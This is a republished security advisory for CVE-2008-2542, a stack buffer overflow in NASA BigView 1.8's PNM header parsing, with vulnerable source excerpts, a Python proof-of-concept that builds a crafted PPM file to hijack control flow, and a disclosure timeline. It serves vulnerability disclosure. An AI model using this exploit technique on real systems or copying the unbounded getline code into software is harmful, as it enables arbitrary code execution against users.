|
Brought to you by:
Suppliers of:
|
|
|
| |
NASA BigView [1] allows for interactive panning and zooming of images of arbitrary size on desktop PCs running Linux. Using this software, one can explore (on relatively modest machines) images such as the Mars Orbiter Camera mosaic [92160x33280 pixels].
The BigView package suffers from a stack buffer overflow when parsing specially crafted (invalid) PNM input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application, or otherwise crash the whole application. The vulnerability is caused due to the BigView package not properly checking the line length of the ascii PNM input files before copying it on a stack buffer. This can be exploited to get arbitrary code execution by opening a specially crafted file.
Exploitation of the PNM overflow problem requires the user to explicitly open a malicious file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites until the patch is applied. |
| |
Credit:
The information has been provided by CORE Security Technologies Advisories.
The original article can be found at: http://www.coresecurity.com/?action=item&id=2304
|
| |
Vulnerable Systems:
* NASA BigView revision 1.8
Vendor Information, Solutions and Workarounds:
The NASA BigView team has published a new version fixing this vulnerability. The tarball is available on BigView's website: http://opensource.arc.nasa.gov/project/bigview/
Technical Description / Proof of Concept Code:
The BigView package suffers from a stack buffer overflow when parsing specially crafted (invalid) PNM input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application, or otherwise crash the whole application.
The vulnerability resides in the following code at 'Ppm/ppm.C'. Here, the function 'getline()' reads data from a file into a buffer. This is the complete function:
/-----------
418 static void getline(int fin, char* lineBuf, int len)
419 {
420 bool done=false;
421 int index=0;
422 lineBuf[index]=' ';
423 while(! done){
424 lineBuf[index] = getOneChar(fin);
425 if( lineBuf[index]==10 ) {
426 lineBuf[index]=0;
427 done=true;
428 }
429 ++index;
430 }
431 lineBuf[index]=0;
432 }
-----------/
Clearly the function requires the length of the destination buffer, but it is never used internally. This function is used on the 'PPM::ppmHeader()' function, to read the header of the PPM file.
/-----------
56 PPM::ppmHeader(string filename, PPM::Format* format,
57 int* cpp, int* bpc,
58 int* sizeX, int* sizeY,
59 int* imageOffset)
60 {
61 std::ostringstream err;
62 char magic[3],lineBuf[512],junk;
63 int res,max;
.
.
.
115 while( junk == '#' ){
116 getline(fin,lineBuf,512);
117 cout << "Comment:"<<lineBuf<<":"<<endl;
118 junk = getOneChar(fin);
119 }
-----------/
Here, the 'lineBuf' buffer is allocated on the stack, with a size of 512 bytes. If the PPM contains a line longer than 512 bytes on the header, a buffer overflow will ensue. The following proof of concept is a python script that creates a PNM file that triggers the overflow and jumps to an arbitrary position (0x41414141 on the PoC) when loaded with BigView compiled on Ubuntu 6.06 LTS.
Exploit:
## BigView exploit
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
Desktop i386
import struct
w = open("crash.ppm","wb")
w.write("""P3
#CREATOR: The GIMP's PNM Filter Version
1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""")
# This exploit is not trivial, because the function PPM::ppmHeader()
doesn't return inmmediately, and we must modify internal variables to
cause an overwrite of a C++ string destructor executed at the end of the
function to gain control of EIP
# PS.: Congrats for the Phoenix mars Lander!
for i in range(7):
w.write(chr(i)*4)
w.write("AA")
w.write(struct.pack("<L",0xaaaaaaaa))
w.write(struct.pack("<L",0xbbbbbbbb))
w.write(struct.pack("<L",0xcccccccc))
w.write(struct.pack("<L",0x08080000))
w.write(struct.pack("<L",0x08080000)*48)
#The address of the destructor is hard-coded. Sorry but this is only a PoC!
destination = 0x0805b294 # destructor
value = 0x41414141 #address to jump to
w.write(struct.pack("<L",destination)) # destination
w.write("""
%d 300
255
255
255
255
""" % value)
w.close()
Report Timeline:
2008-04-24: Initial contact email sent by Core to BigView team setting the estimated publication date of the advisory to May 19th.
2008-04-28: Vendor acknowledges the email notification.
2008-04-30: Core sends the advisory draft to BigView support team. No reply received.
2008-05-12: New email sent to BigView asking for a response. No reply received.
2008-05-15: New email sent to BigView asking for a response.
2008-05-15: BigView support team informs us that a new patched version is ready, but is not yet available via BigView webpage.
2008-05-19: Core does not release the advisory (as planned).
2008-05-19: New email sent to BigView team asking if the fixed version is available to the users.
2008-05-26: New email sent to BigView team, refreshing the communications that took place, and asking for an answer.
2008-06-02: Vendor responds that a tarball with fixes has been published on BigView's website.
2008-06-03: Core sends the final version of the advisory to the BigView team.
2008-06-04: CORE-2008-0425 advisory is published.
References:
[1] http://opensource.arc.nasa.gov/project/bigview/
CVE Information:
CVE-2008-2542
|
|
|
|
|
